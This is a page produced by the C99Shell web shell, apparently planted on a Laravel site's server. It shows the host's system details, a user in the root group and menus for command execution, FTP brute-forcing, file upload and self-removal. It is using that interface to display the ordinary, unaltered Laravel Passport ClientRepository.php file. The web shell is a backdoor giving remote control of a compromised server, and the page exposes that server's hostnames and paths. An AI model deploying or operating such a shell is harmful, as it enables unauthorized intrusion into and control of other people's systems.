!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/vendor/laravel/passport/src/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClientRepository.php (6.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Passport;

use 
Illuminate\Support\Str;
use 
RuntimeException;

class 
ClientRepository
{
    
/**
     * The personal access client ID.
     *
     * @var int|string|null
     */
    
protected $personalAccessClientId;

    
/**
     * The personal access client secret.
     *
     * @var string|null
     */
    
protected $personalAccessClientSecret;

    
/**
     * Create a new client repository.
     *
     * @param  int|string|null  $personalAccessClientId
     * @param  string|null  $personalAccessClientSecret
     * @return void
     */
    
public function __construct($personalAccessClientId null$personalAccessClientSecret null)
    {
        
$this->personalAccessClientId $personalAccessClientId;
        
$this->personalAccessClientSecret $personalAccessClientSecret;
    }

    
/**
     * Get a client by the given ID.
     *
     * @param  int  $id
     * @return \Laravel\Passport\Client|null
     */
    
public function find($id)
    {
        
$client Passport::client();

        return 
$client->where($client->getKeyName(), $id)->first();
    }

    
/**
     * Get an active client by the given ID.
     *
     * @param  int  $id
     * @return \Laravel\Passport\Client|null
     */
    
public function findActive($id)
    {
        
$client $this->find($id);

        return 
$client && ! $client->revoked $client null;
    }

    
/**
     * Get a client instance for the given ID and user ID.
     *
     * @param  int  $clientId
     * @param  mixed  $userId
     * @return \Laravel\Passport\Client|null
     */
    
public function findForUser($clientId$userId)
    {
        
$client Passport::client();

        return 
$client
                    
->where($client->getKeyName(), $clientId)
                    ->
where('user_id'$userId)
                    ->
first();
    }

    
/**
     * Get the client instances for the given user ID.
     *
     * @param  mixed  $userId
     * @return \Illuminate\Database\Eloquent\Collection
     */
    
public function forUser($userId)
    {
        return 
Passport::client()
                    ->
where('user_id'$userId)
                    ->
orderBy('name''asc')->get();
    }

    
/**
     * Get the active client instances for the given user ID.
     *
     * @param  mixed  $userId
     * @return \Illuminate\Database\Eloquent\Collection
     */
    
public function activeForUser($userId)
    {
        return 
$this->forUser($userId)->reject(function ($client) {
            return 
$client->revoked;
        })->
values();
    }

    
/**
     * Get the personal access token client for the application.
     *
     * @return \Laravel\Passport\Client
     *
     * @throws \RuntimeException
     */
    
public function personalAccessClient()
    {
        if (
$this->personalAccessClientId) {
            return 
$this->find($this->personalAccessClientId);
        }

        
$client Passport::personalAccessClient();

        if (! 
$client->exists()) {
            throw new 
RuntimeException('Personal access client not found. Please create one.');
        }

        return 
$client->orderBy($client->getKeyName(), 'desc')->first()->client;
    }

    
/**
     * Store a new client.
     *
     * @param  int  $userId
     * @param  string  $name
     * @param  string  $redirect
     * @param  string|null  $provider
     * @param  bool  $personalAccess
     * @param  bool  $password
     * @param  bool  $confidential
     * @return \Laravel\Passport\Client
     */
    
public function create($userId$name$redirect$provider null$personalAccess false$password false$confidential true)
    {
        
$client Passport::client()->forceFill([
            
'user_id' => $userId,
            
'name' => $name,
            
'secret' => ($confidential || $personalAccess) ? Str::random(40) : null,
            
'provider' => $provider,
            
'redirect' => $redirect,
            
'personal_access_client' => $personalAccess,
            
'password_client' => $password,
            
'revoked' => false,
        ]);

        
$client->save();

        return 
$client;
    }

    
/**
     * Store a new personal access token client.
     *
     * @param  int  $userId
     * @param  string  $name
     * @param  string  $redirect
     * @return \Laravel\Passport\Client
     */
    
public function createPersonalAccessClient($userId$name$redirect)
    {
        return 
tap($this->create($userId$name$redirectnulltrue), function ($client) {
            
$accessClient Passport::personalAccessClient();
            
$accessClient->client_id $client->id;
            
$accessClient->save();
        });
    }

    
/**
     * Store a new password grant client.
     *
     * @param  int  $userId
     * @param  string  $name
     * @param  string  $redirect
     * @param  string|null  $provider
     * @return \Laravel\Passport\Client
     */
    
public function createPasswordGrantClient($userId$name$redirect$provider null)
    {
        return 
$this->create($userId$name$redirect$providerfalsetrue);
    }

    
/**
     * Update the given client.
     *
     * @param  \Laravel\Passport\Client  $client
     * @param  string  $name
     * @param  string  $redirect
     * @return \Laravel\Passport\Client
     */
    
public function update(Client $client$name$redirect)
    {
        
$client->forceFill([
            
'name' => $name'redirect' => $redirect,
        ])->
save();

        return 
$client;
    }

    
/**
     * Regenerate the client secret.
     *
     * @param  \Laravel\Passport\Client  $client
     * @return \Laravel\Passport\Client
     */
    
public function regenerateSecret(Client $client)
    {
        
$client->forceFill([
            
'secret' => Str::random(40),
        ])->
save();

        return 
$client;
    }

    
/**
     * Determine if the given client is revoked.
     *
     * @param  int  $id
     * @return bool
     */
    
public function revoked($id)
    {
        
$client $this->find($id);

        return 
is_null($client) || $client->revoked;
    }

    
/**
     * Delete the given client.
     *
     * @param  \Laravel\Passport\Client  $client
     * @return void
     */
    
public function delete(Client $client)
    {
        
$client->tokens()->update(['revoked' => true]);

        
$client->forceFill(['revoked' => true])->save();
    }

    
/**
     * Get the personal access client id.
     *
     * @return int|string|null
     */
    
public function getPersonalAccessClientId()
    {
        return 
$this->personalAccessClientId;
    }

    
/**
     * Get the personal access client secret.
     *
     * @return string|null
     */
    
public function getPersonalAccessClientSecret()
    {
        return 
$this->personalAccessClientSecret;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--